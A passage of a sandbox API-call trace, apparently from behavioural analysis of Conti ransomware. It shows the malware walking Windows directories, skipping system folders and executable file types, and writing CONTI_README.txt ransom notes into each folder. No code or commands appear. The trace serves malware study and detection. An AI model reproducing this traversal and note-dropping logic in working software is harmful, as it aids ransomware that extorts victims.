	[0106.443] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eca8 | out: hHeap=0x1720000) returned 1
	[0106.443] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0106.443] GetProcessHeap () returned 0x1720000
	[0106.443] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e960 | out: hHeap=0x1720000) returned 1
	[0106.443] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", cAlternateFileName="{33D78~1")) returned 1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2=".") returned 1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="..") returned 1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="tmp") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="winnt") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="Application Data") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="AppData") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="temp") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="thumb") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="$Recycle.Bin") returned 1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="$RECYCLE.BIN") returned 1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="System Volume Information") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="Program Files") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="Program Files (x86)") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="Boot") returned -1
	[0106.443] lstrcmpiW (lpString1="{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="Windows") returned -1
	[0106.443] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.443] lstrlenW (lpString="{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned 38
	[0106.443] GetProcessHeap () returned 0x1720000
	[0106.443] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173e4c8
	[0106.443] lstrcpyW (in: lpString1=0x173e4c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.443] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.443] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}"
	[0106.443] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned 76
	[0106.443] GetProcessHeap () returned 0x1720000
	[0106.443] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173f3e0
	[0106.444] lstrcpyW (in: lpString1=0x173f3e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}"
	[0106.444] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*"
	[0106.444] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned 76
	[0106.444] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.444] GetProcessHeap () returned 0x1720000
	[0106.444] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cbda0
	[0106.444] lstrcpyW (in: lpString1=0x17cbda0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}"
	[0106.444] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\"
	[0106.444] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\CONTI_README.txt"
	[0106.444] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.450] GetProcessHeap () returned 0x1720000
	[0106.450] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbda0 | out: hHeap=0x1720000) returned 1
	[0106.450] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.451] CloseHandle (hObject=0x3a8) returned 1
	[0106.451] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0106.451] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.451] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.451] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.451] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.451] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5349433d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5349433d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.452] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.452] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.452] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.452] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.452] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef7d10, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.452] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.452] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.452] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.452] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned 76
	[0106.452] lstrlenW (lpString="customizations.xml") returned 18
	[0106.452] GetProcessHeap () returned 0x1720000
	[0106.452] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x17cb760
	[0106.452] lstrcpyW (in: lpString1=0x17cb760, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}"
	[0106.452] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\"
	[0106.452] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"
	[0106.452] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.452] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.452] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.452] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.452] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.452] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.452] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.452] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.452] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.453] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.453] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.453] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned 76
	[0106.453] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.453] GetProcessHeap () returned 0x1720000
	[0106.453] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181ca18
	[0106.453] lstrcpyW (in: lpString1=0x181ca18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}"
	[0106.453] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\"
	[0106.453] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml"
	[0106.453] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.453] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.453] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned 76
	[0106.453] lstrlenW (lpString="Prov") returned 4
	[0106.453] GetProcessHeap () returned 0x1720000
	[0106.453] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.453] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}"
	[0106.453] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\"
	[0106.453] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov"
	[0106.453] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned 81
	[0106.453] GetProcessHeap () returned 0x1720000
	[0106.453] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6510ac8
	[0106.454] lstrcpyW (in: lpString1=0x6510ac8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov"
	[0106.454] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*"
	[0106.454] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned 81
	[0106.454] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.454] GetProcessHeap () returned 0x1720000
	[0106.454] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d648
	[0106.454] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov"
	[0106.454] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\"
	[0106.454] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\CONTI_README.txt"
	[0106.454] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.459] GetProcessHeap () returned 0x1720000
	[0106.460] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0106.460] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.460] CloseHandle (hObject=0x3a0) returned 1
	[0106.461] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8370
	[0106.461] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.461] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.461] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.461] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.461] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ba5c5, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x534ba5c5, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x534ba5c5, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.461] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.461] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.461] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.461] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.461] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.461] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.461] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\Prov") returned 81
	[0106.461] lstrlenW (lpString="RunTime") returned 7
	[0106.461] GetProcessHeap () returned 0x1720000
	[0106.461] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
